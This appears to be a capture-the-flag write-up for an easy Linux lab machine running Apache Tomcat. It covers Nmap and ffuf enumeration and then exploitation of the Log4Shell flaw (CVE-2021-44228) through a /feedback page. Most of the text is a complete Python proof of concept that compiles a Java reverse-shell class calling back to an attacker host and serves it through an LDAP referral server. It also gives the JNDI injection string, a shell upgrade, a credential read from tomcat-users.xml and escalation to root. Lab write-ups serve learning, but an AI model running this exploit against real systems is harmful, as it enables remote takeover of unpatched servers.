Skip to main content

Machine Feedback

Writeup Author: bobbuilder


Overview

Category: Machine

Difficulty: Easy

Machine Author: xct

Machine: Linux

Objective: It involves Apache Tomcat exploitation via a Log4j vulnerability, resulting in remote code execution and eventual root access.


Enumeration

Nmap Scan

nmap -sC -sV -oA nmap/full <machine_name_ip>
  • 22/tcp: OpenSSH 7.6p1 (Ubuntu)
  • 8080/tcp: Apache Tomcat 9.0.56
    • Title: Apache Tomcat/9.0.56

Web Fuzzing

ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://<machine_name_ip>:8080/FUZZ
  • Found: /feedback/ (302 redirect)

Initial Access

Exploiting Log4j via /feedback

Downloaded and installed on windows jdk-8u202-windows-x64.exe

In the POC Kozmer we set up environment for Java exploitation on Windows (JDK 8u202):

#!/usr/bin/env python3

import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler

CUR_FOLDER = Path(__file__).parent.resolve()
JAVA_PATH = r"C:\Program Files\Java\jdk1.8.0_202\bin\java.exe"
JAVAC_PATH = r"C:\Program Files\Java\jdk1.8.0_202\bin\javac.exe"

def generate_payload(userip: str, lport: int) -> None:
    program = """
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class Exploit {

    public Exploit() throws Exception {
        String host="%s";
        int port=%d;
        String cmd="/bin/sh";
        Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s=new Socket(host,port);
        InputStream pi=p.getInputStream(),
            pe=p.getErrorStream(),
            si=s.getInputStream();
        OutputStream po=p.getOutputStream(),so=s.getOutputStream();
        while(!s.isClosed()) {
            while(pi.available()>0)
                so.write(pi.read());
            while(pe.available()>0)
                so.write(pe.read());
            while(si.available()>0)
                po.write(si.read());
            so.flush();
            po.flush();
            Thread.sleep(50);
            try {
                p.exitValue();
                break;
            }
            catch (Exception e){
            }
        };
        p.destroy();
        s.close();
    }
}
""" % (userip, lport)

    # writing the exploit to Exploit.java file

    p = Path("Exploit.java")

    try:
        p.write_text(program)
        subprocess.run([os.path.join(CUR_FOLDER, JAVAC_PATH), str(p)])
    except OSError as e:
        print(Fore.RED + f'[-] Something went wrong {e}')
        raise e
    else:
        print(Fore.GREEN + '[+] Exploit java class created success')

def payload(userip: str, webport: int, lport: int) -> None:
    generate_payload(userip, lport)

    print(Fore.GREEN + '[+] Setting up LDAP server\n')

    # create the LDAP server on new thread
    t1 = threading.Thread(target=ldap_server, args=(userip, webport))
    t1.start()

    # start the web server
    print(f"[+] Starting Webserver on port {webport} http://0.0.0.0:{webport}")
    httpd = HTTPServer(('0.0.0.0', webport), SimpleHTTPRequestHandler)
    httpd.serve_forever()

def check_java() -> bool:
    exit_code = subprocess.call([
        os.path.join(CUR_FOLDER, JAVA_PATH),
        '-version',
    ], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
    return exit_code == 0


def ldap_server(userip: str, lport: int) -> None:
    sendme = "${jndi:ldap://%s:1389/a}" % (userip)
    print(Fore.GREEN + f"[+] Send me: {sendme}\n")

    url = "http://{}:{}/#Exploit".format(userip, lport)
    subprocess.run([
        os.path.join(CUR_FOLDER, JAVA_PATH),
        "-cp",
        os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
        "marshalsec.jndi.LDAPRefServer",
        url,
    ])

def main() -> None:
    init(autoreset=True)
    print(Fore.BLUE + """
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
""")

    parser = argparse.ArgumentParser(description='log4shell PoC')
    parser.add_argument('--userip',
                        metavar='userip',
                        type=str,
                        default='localhost',
                        help='Enter IP for LDAPRefServer & Shell')
    parser.add_argument('--webport',
                        metavar='webport',
                        type=int,
                        default='8000',
                        help='listener port for HTTP port')
    parser.add_argument('--lport',
                        metavar='lport',
                        type=int,
                        default='9001',
                        help='Netcat Port')

    args = parser.parse_args()

    try:
        if not check_java():
            print(Fore.RED + '[-] Java is not installed inside the repository')
            raise SystemExit(1)
        payload(args.userip, args.webport, args.lport)
    except KeyboardInterrupt:
        print(Fore.RED + "user interrupted the program.")
        raise SystemExit(0)

if __name__ == "__main__":
    main()

Compile, serve malicious Java payload and trigger via JNDI injection:

${jndi:ldap://<attacker_ip>:1389/a}

Reverse Shell Obtained

Use a TTY shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Tomcat Credentials

Check tomcat-users.xml:

cat /opt/tomcat/conf/tomcat-users.xml
  • Found: username="admin" with roles="manager-gui"

Root Access using the credentials

su root